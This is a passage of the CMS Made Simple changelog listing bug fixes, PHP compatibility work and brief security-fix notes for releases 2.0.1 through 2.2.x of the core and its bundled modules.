  - Minor changes and fixes to prevent warnings/notices in CLI based scripts.
  - Improvements to the {browser_lang} plugin.
  - Fixes a bug in the CmsLayoutTemplateQuery class.
  - Fixes a bug with the name= parameter in the {cms_stylesheet} plugin.
  - Fixes a minor issue in system information (smarty compilecheck).
  - Fixes a minor issue with the tabIndex and accesskey fields in edit content.
  - Fixes issue in the CmsLayoutStylesheet class related to associating designs with new stylesheets.
  - Now check for an english language file first in module_custom/xxxxx/lang before a file for the current language.
  - Prevent false-positive hit for "multiple_webshells_0018" rule webserver virusscanner (https://github.com/Yara-Rules/rules/blob/master/Webshells/WShell_THOR_Webshells.yar#L4764).
  - Fixes a bug in ContentOperations::LoadAllContent() if the content list had a custom content type from a module that was unvavailable.
  - Fixes a bug in the Database\Connection::DbTimeStamp().

Search v1.51.6
  - Minor fixes to help.

MicroTiny v2.2.3
  - More entropy in the mt_config.js filename to fix issues with js caching when switching users.
  - Fixes in the cms_linker plugin for when trying to change a link to a CMSMS page where the alias has changed.

FileManager v1.6.8
  - Fixes an upload issue.

ModuleManager v2.1.5
  - PHP 7.2+ fixes.

CMSContentManager v1.1.7
  - Fixes an issue with changing content type after copying a content page.

DesignManager v1.1.5
  - Fixes ownership issue on templates with importing a design.

Phar Installer v1.3.7
  - Minof fix to detect when PHP's memory limit is set to -1.


Version 2.2.8 - Flin Flon
----------------------------------
Core - General
  - Re-introduce the host_whitelist config entry that got lost in some commit somewhere.
  - Minor fix to pagination in Admin log.
  - Change Finnish locale priorities so that UTF-8 is first.
  - Minor fix to calling hooks with a single associative array parameter.
  - Adds new HookManager::do_hook_first_result() method.
  - cangegroupperms now calls HookManager::do_hook_first_result.
  - Minor enhancement to moduleoperations::_load_module() to check if the class exists.
  - Minor enhancement to {cms_action_url} wrt. the page to link to if not specified.
  - Deprecate CMSModule::SetParameterType and CMSModule::CreateParameter methods.
  - Deprecate ModuleOperations::GetModuleParameters() method.
  - CMSModule::RestrictUnknownParameters() now does nothing.
  - No longer warn if a module is sent a parameter that is not registered.
  Note: modules should now be cleaning parameters directly (see filter_var) from $_POST and $_REQUEST ($_GET is automatically cleaned).
  Note: In the future,  $params in module actions will only consist of parameters passed on the module tag.
  - PHP 7.2+ fixes.
  - Fix the inactive param in the page_attr plugin.

FilePicker v1.0.3
  - Minor fix to delete action.

Search v1.51.5
  - Now enforce utf-8 on preg_split.
  - Minor parameter check.
  - Removed deprecated each() function.

CMSJobManager v0.1.3
  - Notices fixed.
  - PHP 7.2+ fixes.

FileManager v1.6.7
  - Remove un-necessary files that may cause a security vulnerability.
  - prevent creating directories with leading or trailing whitespace in the name.

Module Manager v2.1.4
  - PHP 7.2+ fixes.

Navigator v1.0.9
  - Template fix simple_navigation.tpl. Output correct class for parent without active children.

News v2.51.4
  - Notices fixed.


Version 2.2.7 - Skookumchuck
----------------------------------
Core - General
  - Change internal CSRF variable name.
  - Fix object insertion bug via deserialize in LoginOperations.
  - Fix issue where login cookie contents could be forged by determining the hashing salt.
  - Refactor the mechanism for generating and verifying admin account password reset codes.

FileManager v1.6.6
  - No longer allow uploading files with names that end in .

FilePicker v1.0.2
  - No longer allow uploading files with names that end in .

Search v1.51.4
  - Minor fix to microtime calls.


Version 2.2.6 - Come by Chance
----------------------------------
Core - General
  - Fixes to AdminAlerts::load_by_name().
  - SetMessage() and SetError() in the module API now use session variables.
  - Remove support for module_error and module_action request parameters in admin module actions.
  - Add call to check_login() in admin actions that were missing them.

Search v1.51.3
  - Fix notice in PHP 7.1: A non well formed numeric value encountered...


Version 2.2.5 - Wawa
----------------------------------
Core - General
  - Fix minor security issue in the way login information was cached in cookies and the session.
  - Simplify rules around alias editing/generation in fillparams.
    If the alias field exists then we can adjust its value or recalculate an alias.
    Use basic properties, and ownership and permissions to determine if that field exists on the edit form.
  - Minor fixes to the CmsJobManager.


Version 2.2.4 - Little Paradise
----------------------------------
Core - General
  - Improvements to the Hook class.
  - Minor fix to usertagoperations.
  - Changes to the hierarchy selector to disallow circular references.
  - Fix problems with additional editors causing page aliases to be regenerated.
  - Minor fixes to Admin log browser.
  - Minor fixes to Admin login.
  - Add missing call Core::LoginPre hook.
  - Modify myaccount.php to call Core::EditUserPre hook BEFORE the password is set.
  - Fix documentation to CallUserTag.
  - Fix to default handling for content_image block.
  - Improve the help for the {page_attr} plugin.
  - Fix a potential warning in the {anchor} tag.
  - Fix boolean comparison in LoginOperations.

Installation Assistant v1.3.4
  - Fixes endless recursion issue with setting a tmpdir.
  - Fix issue with requiring a database prefix on upgrade.

FilePicker v1.0.2
  - Now allow specifying a 'useprefix' boolean parameter to the action url which will use the current top directory.
  - Add a prefix on all returned strings.
  - Slight modification to the profile class.
  - Now sends the FileManager::OnFileUploaded hook the same way as FileManager does.
  - Adds an exception handler around the change working directory stuff.

FileManager v1.6.5
  - Change upload action to call FileManager::OnFileUploaded hook before creating the thumbnail to allow a hook to rename the uploaded file.
  - Now enable creation of thumbnails on install.

MicroTiny v2.2.2
  - Minor fix for the filepicker if using a default filepicker profile that specifies a top directory.
  - Re-adds the table plugin (went missing when we upgraded tinymce).

ModuleManager v2.1.3
  - Adds audit line displaying status if cannot connect to ModuleRepository.

DesignManager v1.1.4
  - Fixes problems with the cancel button not marking the form as 'clean' (not dirty).


Version 2.2.3.1 - Happy Adventure
----------------------------------
Core - General
  - Fix an issue when parsing multiple content blocks.


Version 2.2.3 - Happy Adventure
----------------------------------
Core - General
  - Fixed a redirect loop problem on mixed HTTP/HTTPS sites when the secure flag was set on some pages.
  - Fixed a problem with prefilters and postfilters not working if placed in /assets/plugins.
  - Now use our own derivative of Smarty Internal Template so that we can send hooks, etc.
  - Improved error message if there was an error parsing the template (or a duplicate content block).
  - Fixes content blocks, image blocks, module blocks containing whitespace in the name.
  - Minor fix to {cms_filepicker} plugin.
  - Improve the CmsModuleInfo class such that if the module class file is newer it will be loaded.
  - Now generate the moduleinfo.ini file automatically on install or upgrade of a module.
  - Increase the maxlength attribute for password input boxes in myaccount.
  - Adds a StartsWith JavaScript shiv for IE11.
  - Revert the protocol-less URI for root_url (more changes coming for 2.3).
  - Get rid of the smart_url config option.
  - Fix a problem when testing for duplicate aliases of the form string-###  where the suffix integer was greater than 100.
  - More fixes to mact preprocessing if {content} was in the top of the template.
  - Minor fix to ExpandXMLPackage to not throw an exception in brief mode if module is not compatible with the current version of CMSMS.
  - adds new cms_entities_array function in misc to convert an array recursively to values.
  - Fixes transposed arguments in UserOperations::AddMemberGroup().
  - Better detection of duplicate content blocks.
  - Revert template_stack change to Smarty_CMS from 2.2.2.
  - Improvements to HookManager.

CmsJobManager v0.1.1
  - Optimization of audit logging.
  - Change connection timeout to 1 second.
  - Change processing to be a little more friendly to some environments wrt. content-size header.
  - Prevent processing from the CLI when root_url is calculated.

MicroTiny v2.2.1
  - Minor fix for filepicker plugin.

News v2.51.3
  - For security, no longer urldecode the detailtemplate parameter in detail view.
    This may have some implications for people that are specifying the detailtemplate parameter (with a template with special characters) from within a WYSIWYG (which is not recommended behavior).
  - Convert title and dropdown options and text fields to entities before display.

ModuleManager v2.1.2
  - Now sort modules in the installed tab a bit better.
  - Now handle module 'not available' a bit better.

FileManager v1.6.4
  - Add a different icon for navigating up one level.
  - No longer allow uploading any php (or derivative) file.
  - No longer allow renaming any file to have a .php extension (or a derivative).
  - Fixes an issue when improper/invalid values for root path and uploads path are manually specified in the config.php

FilePicker v1.0.1
  - No longer allow overriding the filepicker type on the URL.
  - No longer allow uploading any .php files.

CMSContentmanager v1.1.6
  - Now double check that the 'default parent' for new pages actually exists.

Navigator v1.0.8
  - Minor english documentation correction.

Installation Assistant v1.3.3
  - Now look for lib/include.php before include.php in step 8 and step 9 when connecting to CMSMS.
  - Fixes to upgrade routine for 2.1.5 wrt. the 'Manage Stylesheets' permission (ignore an exception).


Version 2.2.2 - Hearts Content
----------------------------------
Core - General
 - Additional security improvement in CMSModule::GetTemplateResource().
 - Now Smarty_CMS is no longer derived from SmartyBC (uses our own wrapper class) which prevents all occurrences of {php} tags from running.
 - Adds an admin directory .htaccess file to explicitly disable browser caching of any resources.
 - Fixes a relative path vulnerability in module_file_tpl resource.
 - Fixes a path building issue in CmsModuleInfo.
 - Fixes to parsing and generating moduleinfo.ini files.
 - Disallow any resource specifications with a * or a /.
     * This also means that no file resource specifications with path information will be permitted.
 - Move mact preprocessing to AFTER the template_top has been processed. So order of processing (for module actions on the frontend is)
     a:  template top
     b:  mact preprocessing (if enabled, which is the default)
     c:  template body
     d:  template head
 - Fix sureGetNodeByAlias to check if the input is numeric. If it is, assume that it is a page id, not an alias.
 - Fix alias generation in the ContentBase class to check if the input page title is numeric... If it is, prepend a character to it to ensure that integer casting will return 0.
 - Fix listtags to show tags using smarty_nocache_ function name prefix.
 - Improvements to the {form_start} plugin.
 - Fix silly, old issue in recursive_delete function.
 - Clean up more parameters from the content tag before passing to module action.
 - Fix local file inclusion vulnerability in listtags.
 - Now call get_userid() in debug_to_log instead of check_login()

AdminSearch v1.0.3
 - Now search the metadata field of content pages.
 - Fixes for single quotes in search results.

DesignManager v1.1.3
 - Set title attribute tags for edit/create template, stylesheet, design.
 - Remove debug statements.

MicroTiny v2.2
 - Upgrade tinymce to v4.6.x.
 - Adds new tabfocus and hr plugins.

News v2.51.2
 - Fixes so that all cancel buttons work properly on new News articles.

Navigator v1.0.7
 - Adds a silly __get() method to the NavigatorNode class squash some notifications in the error logs.

ModuleManager v2.1.1
 - Now handlle remote module installs upgrades, and activates via a 2 request process to allow new module versions to be read into memory.

Installation Assistant v1.3.2
 - Correction to assets warning

Search v1.51.2
 - Now do an html entity decode on all content added to AddWords.


Version 2.2.1 - Hearts Desire
----------------------------------
Core - General
 - Improve the Smarty plugin loading to handle non-cachable plugins in the /assets/plugins and /plugins directories.
 - Fixes to transaction functions in database abstraction library.
 - Fix CMSModule::GetTemplateResource to no longer accept eval or string resources.
 - Fix CMSSmartySecurityPolicy so that debug_to_log is no longer an allowed function.

   Many thanks to Daniel Le Gall from SCRT SA, Switzerland for reporting the vulnerabilities.

Installation Assistant v1.3.1
 - On upgrade to 2.2.1 move all files from /plugins to /assets/plugins (they should only be third party plugins at this point).
 - On upgrade chmod the config.php to 444.

MicroTiny v2.1.1
 - Fix temporary JS call URL.

News v2.51.1
 - Fix frontend pagination.


Version 2.2 - Canada
----------------------------------
Core - General
  - Automatically turn on file locking for cached files to attempt to mitigate race conditions.
    NOTE:  On systems using archaic filesystems such as FAT and FAT32 CMSMS may no longer operate.
  - cms_filecache_driver now caches for 2 hours by default and has an improved cooperative locking test
  - Implement new database abstraction library that is compatible with (functionality wise) but improves upon adodb-lite.
  - Implement protocol-less URL's in the config.
  - Page tabs are now focusable (you can tab through page tabs and use enter to select one).
  - Minor fix to the {form_start} plugin.
  - Minor change to the {admin_icon} plugin (default image class).
  - Cache more items that are queried from the database, to reduce mysql load.
  - Minor change to tree operations functionality to reduce memory usage.
  - Fixed problem with order of content blocks when using {content_module} stuff.
  - Adds get_usage_string and the concept of a type assistant to template types.
  - Minor change to auto-alias determination routine.
  - Detect module_custom enhancements in the CmsModuleInfo stuff.
  - Refactor Admin authentication.
  - More fixes to the cms_url class.
  - Optimize the include.php file.
  - Adds built-in asynchronous task processing system.
  - Adds the ability to reduce redundant mentions in the Admin log (runs asynchronously).
  - Refactor the Admin log page to allow for better filtering and pagination.
  - Admin log now uses cms_date_format and cleans output.
  - Notification functions in the CmsAdminThemeBase function are now just stubs and do nothing. Will be removed at a later date.
  - Removed the GetNotificationOutput() method from the module API.
  - Adds classes for creating Alerts. This is much more advanced than the old Notifications system.
  - Minor accessibility tweaks to the OneEleven theme.
  - Fix numerous minor problems with the OneEleven theme.
  - Refactored the OneEleven Admin theme to use new Alerts classes instead of old Notifications.
  - Refactor the OneEleven Admin theme to display an alert icon in the shortcut bar, instead of in the navigation area.
  - Fixed sidenav in the one OneEleven theme now works properly. If sidenav is larger than viewport then don't use fixed... easy.
  - In OneEleven Now revert to small sidebar navigation (still floating) if screen is too narrow.
  - Removed notification settings from MyAccount and Global Settings.
  - Removed pseudocron granularity preferences.
  - cms_alert() and the new cms_confirm() JavaScript functions now return promises.
  - Revises much code to use cms_alert and cms_confirm() instead of the standard, but browser specific functions.
  - Fixes to the cache clearing methodology.
  - No longer check for duplicate content blocks in templates... NEEDS TESTING
  - New core events: ContentPreRender, LostPassword, LostPasswordReset, StylesheetPostRender.
  - Fix problem with the default parameter to the {content} tag.
  - Fix problem with the use_smartycache thing in system information.
  - Fix notice in useroperations.
  - Fixes problems where all files (including dot files) had to be writable before creating a module XML file.
  - Fixes minor notice in user operations.
  - Fixes for namespaced modules.
  - Fixes an issue in CmsLayoutTemplate when creating a template from a type.
  - Fixes an issue where a 404 handler error page would not be rendered correctly if for some reason the route did not specify a page id to load.
  - More fixes to cms_url class.
  - Numerous minor optimizations.
  - Add to content types the ability to set basic attributes for properties from within the page type definition.
  - Fixes problems with pagelink and link content types not being properly editable by additional editors.
  - Adds more type and content cleaning into the content types FillParams method(s).
  - Pass an explicit cacheid in to createtemplate in index.php.
  - Fix an error message in the autorefresh JavaScript class.
  - Fix problems that could result in uid=1 becoming inactive, and not a member of other groups when edited by another user.
  - Fix query problem in CmsLayoutStylesheetQuery with Mysql 5.7.
  - The {content} tag now supports passing data attributes to the generated textarea, for use by syntax highlighter and WYSIWYG modules. i.e: {content data-foo="bar"}.
  - Refactoring of the Admin login code to be cleaner, more efficient, more secure.
  - No longer allow any modules to auto-upgrade on frontend requests.
  - Fix problem with cms_filecache_driver::clear().
  - Introduces the new Hook mechanism to allow optimizing cms_stylesheet a bit further. All core SendEvent calls are now implemented as hooks.
  - changegroupperms can now localize permission names,  and add an info string for each permission. (the listpermissions hook).
  - Adds add_headtext(), get_headtext(),  add_footertext(), get_footertext() methods to the Admin theme class.
  - minor refactoring of admin/index.php, admin/header.php, admin/footer.php and admin/moduleinterface.php.
  - now use hooks so that loaded modules can now add text to the head area of any Admin page output.
  - Change the help for the basic attributes.
  - Adds new 'switch user' functionality for members of the Admin group.
  - Re-factor the content page selector ... now supports two modes (one for a simple list, and the previous dynamic one that is faster for large sites)
    the simple list mode is used for users with limited edit capabilities on pages.
  - Adds a new Smarty plugin {page_selector} to the Admin lib.
  - New arguments to the CreateHierarchyDropdown function (deprecated) and adjust documentation.
  - Content pages now have the ability to control whether or not the page wants any more children.
  - The TemplateType class now has a help callback to optionally allow retrieving help for templates of a particular type.
  - Permissions are now grouped logically by module/originator in ChangeGroupPermissions.
  - Now use HTTPS for the latest version check.
  - Adds the public_cache_url config entry,  and make sure that the css_url uses that by default.
  - Adds many core hooks.
  - Enhance the {page_image} plugin to optionally output a full HTML img tag if there is a value for the respective property.
  - Improve the {content_image} plugin to output nothing if there is no value for the property, and to output any non-internal arguments as attributes to the HTML img tag.
  - Upgrade to an un-modified version of smarty v3.1.31.
  - Move plugins directory to lib/plugins since we now have the assets/plugins directory for custom plugins.  Upgrading should preserve any custom plugins in the /plugins directory.
  - Add new plugins {thumbnail_url}, {file_url} and {cms_filepicker).
  - Add more intelligence to the tableoption handling for DataDictionary::CreateTableSQL.
  - Minor improvements to the asynchronous behaviour of the locking functionality.
  - #11295 - Cannot change the name of a UDT, always creates new UDT.
  - #11080 - Parameter $adding in GetContentBlockFieldInput always FALSE.
  - #11093 - Bad error message in jquery.cmsms_autorefresh.js.
  - #11133 - is_email() fails on domain check.
  - #11235 - munge_string_to_url leaves trailing dashes at the end of munged URL.
  - #11287 - Password reset form's password fields have different lengths.
  - Fix issue with module actions if 'content_en' block name was given on the default content block.
  - Better security when saving content pages.  Most primary fields are cast to their appropriate data type (int, bool, etc).  MenuText, and TitleAttribute can no longer contain html tags like <strong>foo</strong>.
  - Fixes issue with entities in redirecting links
  - The href/page argument to {cms_selflink} is now decoded before resolving to a page id.

Navigator v1.0.5
  - Minor optimizations.
  - Now use pageid in calculations of cacheid.
  - Now output template help to Navigator.

Installation Assistant v1.3
  - Only create dummy index.html files in subdirectories we created.
  - Clear cache after step 9.
  - Upgrade routine now asks for, and tests database credentials.
  - Upgrade routine now rewrites the config.php file (but keeps a backup).
  - Set a few more preferences to reasonable defaults on install. Specifically related to site cleanup and performance.
  - On installation, now insure that tmp/cache and tmp/templates_c directories are empty.
  - Now displays if files are going to be skipped.
  - Adds clear option for development purposes.
  - No longer ask to save database password.
  - On install now create the assets directory structure.
  - On upgrade (for 2.2) now create the assets directory structure and move tmp/configs, tmp/templates, module_custom, admin/custom, etc. within it.
  - When using the expanded installer allow changing the destination directory on step 1.
  - Check for existing files in the installation directory for new installations.
  - Added more notes to aide in diagnosing white screens
  - Modify package .zip files so that extracted files will usually have 644 permission (depends on the unzip routine used).

CmsJobManager
  - New core module to handle queued asynchronous tasks.

Content Manager
  - Minor tweak to bulk delete pages.
  - Minor fix to the active tab when changing a template or design.
  - Now listen to the 'default parent page' user preference.
  - Fix minor XSS problem in the Admin if some loser puts JavaScript into the title field or alias field or menu text field.
  - Now allow filtering pages by owner, editor, template, or design.  Only for Administrators with Modify any page, or Manage all content permissions.
  - Fix problems with auto-refresh being too fast for some operations.
  - Now auto scroll to the first matched page in a find.
  - Additional editors of a page cannot change the content type. Only owners, or users with the Manage all Content permissions.
  - Fix a problem with the call to GetTabElements.

DesignManager
  - Move the designs tab of the main interface into third position.
  - Implement sorting in edit design.
  - Remove option menus (for now) from templates, stylesheets, and designs tab.
  - Modify the template list functionality in edit-design to allow using keyboard control. Space or + to select an item on the left, and right arrow to move.
  - Modify the edit-design functionality to allow clicking on an attached template or stylesheet to edit it.
  - Generic templates now display a usage string.
  - When creating a new template, associate the new template with the default design.
  - Add reset buttons to the filter forms.
  - No longer check for default content block in a template.
  - Adds the ability to export a template to a file within the assets directory, and to import from the assets directory.
  - If a file exists in the assets/templates directory corresponding to a template name, do not allow in-browser editing.
  - Add bulk actions to allow importing and exporting multiple templates.
  - In the template list, if a file exists for a template... display it in the filename column.
  - Adds the ability to export a stylesheet to a file within the assets directory, and to import from the assets directory.
  - If a file exists in the assets/css directory corresponding to a stylesheet name, do not allow in-browser editing.
  - Add bulk actions to allow importing and exporting multiple stylesheets.
  - In the stylesheet list, if a file exists for a stylesheet display it in the filename column.

News v2.51
  - Minor fix to add category.
  - Removes GetNotificationOutput method.
  - Add a task that runs at least every 15 minutes to detect draft articles... create an alert for this.
  - Add an option to never create alerts about draft News articles.
  - Minor optimizations.
  - Adds postdate as parameters in events.
  - now output template help to Navigator.
  - Adds new 'linked file' type field that allows selecting a file using the filepicker.
  - Changes the default summary and detail templates to support the linked_file field type, and uses {thumbnail_url} and {file_url}.

FileManager v1.6.3
  - Move settings to it's own menu item under Site Admin.
  - Fix minor problem with moving a directory.
  - Minor fix to move file functionality.
  - Adds OnFileDeleted event.
  - Adds 'view raw file' icon in each viewable row.
  - Minor formatting changes in file list.
  - Now display clickable path entries for easier navigation.

Search
  - Convert to store all data using the InnoDB engine.
  - Use transactions for the addwords and deletewords stuff for performance.
  - Fix problem with query and record expiry.

AdminSearch v1.0.3
  - Fixes problem with use of 'Use Admin Search' permission.
  - Now searches for matching strings within templates and stylesheets that are stored as files.
  - Now listens to the HasSearchableContent metod when searching content pages.

ModuleManager
  - Now detect if module_custom directories exist and are populated and warn about this before upgrading a module.
  - Minor string changes.
  - Improvements to error handling in the new versions tab.
  - Write a confirmation form for uninstalling a module that displays the UninstallPreMessage or uses a default.
  - Now don't allow disabling / uninstalling myself.
  - Don't hide the upgrades tab when there are no upgrades, but show the number of upgrades in the tab title instead.
  - Now use HTTPS for requests to ModuleRepository.
  - Trigger a hook before exporting a module to XML.

MicroTiny v2.1
  - New version of the tinymce wysiwyg editor.
  - Adds a mailto plugin.
  - Now use the FilePicker module for a filepicker, required rewriting the cmsms_filepicker tinymce plugin.
  - Enable the title attribute on the image plugin.
  - Now uses PUBLIC_CACHE_LOCATION for cache files instead of hardcoding tmp/cache


Version 2.1.6 - Spanish Wells
----------------------------------
Core - General
  - Now attempt to detect if a template name passed into CmsModule::GetTemplateResource() is already a resource string.
  - endswith is now an accepted function in Smarty templates (fixes typo in security policy).
  - Fixes for CmsNlsOperations when using a language detector.
  - Fixes warnings in useroperations.
  - Fixes problem with cms_selflink dir='up' since 2013.
  - Modifies the OneEleven theme to set the meta referrer attribute for security purposes.
  - Modifies the functionality of the CSRF tokens to be more secure (only set the cookie in one location, only set the session variable from the cookie).
  - Increase Admin users list limit.
  - Reduce time limit for daily version check to 3 seconds.
  - cleanValues in Admin log and List Content.
  - Minor fix to the relative_time plugin.
  - Admin menu item URLs can now be built from the remaining members of the object, if not specified.
  - {content_image} and {content_module} now preserve order properly and support the priority attribute.

  - #11198 - Fixes problem with cms_selflink with aliases that starts with a numeric sign.

Content Manager v1.1.4
  - Fix bulk set-non-cachable functionality.
  - Fix a bug wrt content blocks and the adding flag.

Installation Assistant v1.0.4
  - Adds recommended check for ZipArchive.
  - Improves method of determining a temp directory.

ModuleManager v2.0.5
  - Improves functionality if ModuleRepository is not available.

News v2.50.6
  - Minor fix to editing news articles from the Admin interface.


Version 2.1.5 - High Rock
----------------------------------
Core - General
  - Fix fatal error if an extcss stylesheet was placed in the Admin theme.
  - Another minor fix to clearing cached files.
  - Fixes problems where all files (including dot files) had to be writable before creating a module XML file.
  - Fixes minor notice in user operations.
  - Fixes for namespaced modules.
  - Fixes an issue in CmsLayoutTemplate when creating a template from a type.
  - Fixes an issue where a 404 handler error page would not be rendered correctly if for some reason the route did not specify a page id to load.
  - More fixes to cms_url class.
  - Improve the way page aliases are munged when they are supplied.
  - Improve the error generated when a page alias cannot be generated.
  - Minor fixes to the form_start plugin.
  - Minor fixes to generation of moduleinfo.ini.
  - Fix an error message in the autorefresh JavaScript class.
  - Fix problems that could result in uid=1 becoming inactive, and not a member of other groups when edited by another user.
  - Fix query problem in CmsLayoutStylesheetQuery with Mysql 5.7.

  - #11080 - Parameter $adding in GetContentBlockFieldInput always FALSE.
  - #11093 - Bad error message in jquery.cmsms_autorefresh.js.

Content Manager
  - Improve error handling in Edit Content.
  - Fix a problem with the call to GetTabElements.

Design Manager
  - Fix problem with resetting a template back to factory defaults, or creating a new template from factory defaults.

Module Manager
  - Improve the way modules with dependencies are installed and upgraded. (Got rid of the queue stuff).

AdminSearch
  - Use 'Manage Stylesheets' permission, not 'Modify Stylesheets' when searching stylesheets.

Phar Installer
  - Adds missing 'Manage Stylesheets' permission that would not be created on upgrade from 1.12.



Version 2.1.4 - Freetown
----------------------------------
Core - General
  - Fix to the clear_cached_file() method which should fix problems with module installation.
  - Minor tweak to distributed sample htaccess.txt file.

Phar Installer
  - Fixes issues with respect to hanging on step 7 when suhosin PHP addon was installed.
  - Minor PHP7 Fixes.

Module Manager
  - Fixes problems where all files (including dot files) had to be writable before creating a module XML file.


Version 2.1.3 - Black Point
----------------------------------
Core - General
  - Security fix to prevent HTTP_HOST attacks. Many thanks to I-TRACING (www.i-tracing.com) for reporting it!!
  - Remove stub .htaccess files from subdirectories.
  - Update the included sample htaccess.txt file for security.
  - Fix for endless loop when calculating a page alias in utf-8 environments.
  - Fix for endless loop when calculating a page alias and a page name/title ended with -
  - Fixes a notice on the login page.
  - Optimize LoadContentFromId() to be typesafe, and use default page, if the id passed in is invalid.
  - Fix error condition if there were no default default design, or default page template.
  - Fix problem with system verification.

  - #10825 - Admin-account settings don't remember startpage if you set one
  - #10874 - When creating a page and the title has specific characters, CMSMS stops responding
  - #10910 - content and content_module order incorrect Admin page
  - #10911 - 'Use Admin Search' permission not being used in 2.1.2
  - #10921 - Content Field to Display in Name Column not used

AdminSearch v1.0.1
  - Minor fix to permissions checks.

Navigator v1.0.3
  - Improved exception handling on install

News v2.50.5
  - Fix error condition if no results were returned.

Installation Assistant v1.0.3.1
  - Tweaks to README files.
  - Improved error handling in some circumstances.
  - Fix some PHP7 issues.

FileManager
  - #10871 - Filemanager moving folder


Version 2.1.2 - Andros Town
----------------------------------
Core - General
- Minor fix to missing language string stuff
- Fixes to home page preferences
- API documentation fixes (minor)
- Fixes for ajax_content (the Ajax routine behind the parent selector in edit content) to handle ordering inconsistencies
- Remove die statement in is_email
- Minor fix to the relative_time modifier
- Upgrade CMSMailer to 6.2.14
- Now do a check for E_ALL in the system info

News v2.50.4
- Now all field definitions can be deleted
- Minor fix to default action if no results were returned...

ModuleManager v2.0.2
- Revamp module dependency calculations when installing a module
- Minor fix for some notices in install and upgrade modules
- Minor typo fixes
- Minor fixes for PHP7

MenuManager  v1.50.2
- make sure that uninstall cleans up properly

MicroTiny v2.0.3
- minor template fix
- fixes for stylesheet overrides


Version 2.1.1 - Nicholls Town
----------------------------------
Core - General
- Fix the template compiler so that content blocks can be placed within sub templates and detected with the {include} tag
- Fix minor problem with checksum verification
- Fix to the cms_cache_handler class
- Minor fix to SetAllPageHierarchies()
- Correct location where session was started in frontend displays
- Fix the default option for {content_image}
- Modify the locker to use a beacon if supported, when unlocking
- Fix missing permissions when a 1.12 site was upgraded (installation assistant)

CMSContentmanager v1.1
- Minor template changes in edit content wrt. locking
- Adds ability to clear content locks (Admins can clear all locks, regular users can only clear their locks)
- Enhancements to the action to bulk set designs to show only page templates by default, but to optionally show more

DesignManager v1.1.1
- Minor template changes in edit content wrt. locking
- Adds ability to clear template and CSS locks (Admins can clear all locks, regular users can only clear their locks)


Version 2.1 - Bahamas
----------------------------------
Core - General
- Minor performance tweaks to sample htaccess.txt
- Minor fix to the ProcessTemplateFromDatabase module API method.
- Improvements and re-factor the way headers are sent wrt caching
- Add a new method to the ModuleOperations class to allow a module to be within a namespace.
- Enhances the Group class.
- Enhancements and fixes to the cms_url class.
- Modified the $mod->smarty reference to be smarter... it is now deprecated.
- Fixes issue with https requests (#10697)
- Modifies The CmsLayoutTemplate class and CmsLayoutTemplateQuery to allow filtering on listable or non listable
  or setting a template as listable (default) or non listable
- Fixes a problem with styling of the login form if tasks must be run AND a module needs upgrading.
- Fixes to the cloning of templates in CmsLayoutTemplate
- Fixes problem with SetAllHierarchyPositions that cleared the entire cache instead of only the necessary part of it.
- Adds the unloadCancel handler to the lockManager jQuery plugin.
- Moves version.php and include.php inside the lib directory so that they are easier to protect from unwanted direct access.
- Fixes to page alias tests when manually entering a page alias.
- Missing language strings are no longer output to Admin log, but to the debug log.
- Requests for modules that are not installed/enabled, or for invalid actions will now result in 404 errors.
- Fixed problem where restricted content editors could implicitly change the page alias.
- Improvements to the system information page, particularly the bbcode output.
- cms_init_editor, form_start, and cms_action_url plugins are no longer cachable.
- Adds the 'adminonly' option to the {content}, {content_image}, and {content_module} tags to allow only members of the 'Admin' group to manipulate the values of that block.
- Add a trivial check to the sitedown message to make sure that it is not empty.
- Minor fixes for PHP 7

MicroTiny v2.0.2
- Now add page hierarchy to autocomplete text when using the linker.
- Now use $smarty->CreateTemplate for clarity when compling the config template
- Now explicitly assign urls so that they do not get caced by smarty.
- Slightly tweak the default HTML content in the example tab.
- Updated tinymce to the latest 4.2.7 version, included the 'paste' plugin, and turned on 'paste_as_text'.
- Added the ability to enable the table plugin, now distribute the table plugin

CMSContentManager v1.0.2
- Fix problem with pagedefault metadata.
- Fixes for handling no listable templates for a design
- More work with locking.  With only one exception all locking and unlocking is initiated via javascript.
- Minor fix to copycontent

DesignManager v1.1
- Adds ability to toggle the listability of a template.
- Fixes problems with lost changes if there is a syntax error in the template.
- More work with locking.  With only one exception all locking and unlocking is initiated via JavaScript.

News v2.50.3
- Fixes minor issue with pagination in News Admin console.
- Fix errors in the default form template.
- Fixed URL to long issues on redirection after adding/editing article.

Search v1.50.2
- Minor PHP7 fixes.

ModuleManager 2.0.1
- Minor fix to which modules could be uninstalled and deactivated.


Version 2.0.1.1 - Adelaide
----------------------------------
Fix to the $this->smarty magic method in the module class to resolve to the action template or the global Smarty.


Version 2.0.1 - Adelaide
----------------------------------
Core - General
- Improved optimization in ContentOperations::SetAllHierarchyPositions.
- Fixed return type of ContentOperations::GetPageIdFromAlias().
- Help for the {cms_html_options} plugin.
- Change the default page template to use {Navigator}.
- Explicitly force $smarty->fetch() to create a new template, and therefore a new scope. Keep track of scopes in a stack.
- Change prototype to CMSModule::DoActionBase to pass in the current template object.
- SITENAME is now assigned as a Smarty global.
  (fixes some variable scope issues)
- Fix problem with changing content types.
- Fix problem with CmsLayoutTemplateQuery wrt the editable option, that generated an SQL error.
  (resolves problems where people have additional editor access to templates, but no other design manager permissions).
- Fix minor JavaScript errors in plugin (error checking).
- Fix problems where If assign was passed to a {content} tag, do not pass it to the module on a mact request.
- Implements the completely forgotten 403 exception stuff and the IsPermitted content method.
- Improve the cmsms_dirtyform jQuery plugin to support the unload handler and an onUnload callback.
- Fixed the jQuery page selector plugin when the current value points to an invalid page,  and fixes for asynchronous Ajax.
- Adds a globally available cms_busy() JavaScript function for the Admin.
- Fix problem with html entitites in email addresses in user settings.
- Fix problem with {content cssname=string} and quotes.
- Changed cmsms plugins to use $smarty->getTemplateVars() instead of $smarty->get_template_vars() because of scope issues.
- Minor fix to {form_start} when not used in a module.
- Improved error handling for cms_stylesheet.  Now will generate a message in the Admin log, and an html comment on error.

CMSContentManager v1.0.1
- Fixes for changing content types.
- Adds a title for some contextual help if a template is not available for a content item.
- Clear any locks if an exception occurred while submitting a content item.
- Improvements to error handling with apply and preview.
- Content list now refreshes every 30 seconds to display up-to-date lock information.

DesignManager v1.0.1
- Clear the type_default flag when copying a template.
- Clear any locks if an exception occurred while submitting a template.
- Clear any locks if an exception occurred while submitting a stylesheet.
- Template and stylesheet lists now refresh every 30 seconds to display up-to-date lock information.
- Fixes for design exporting templates with protocol-less URLs in them.

MenuManager v1.50.1
- Changes to createSmartyTemplate calls (now use $smarty->get_template_parent()).

Navigator v1.0.1
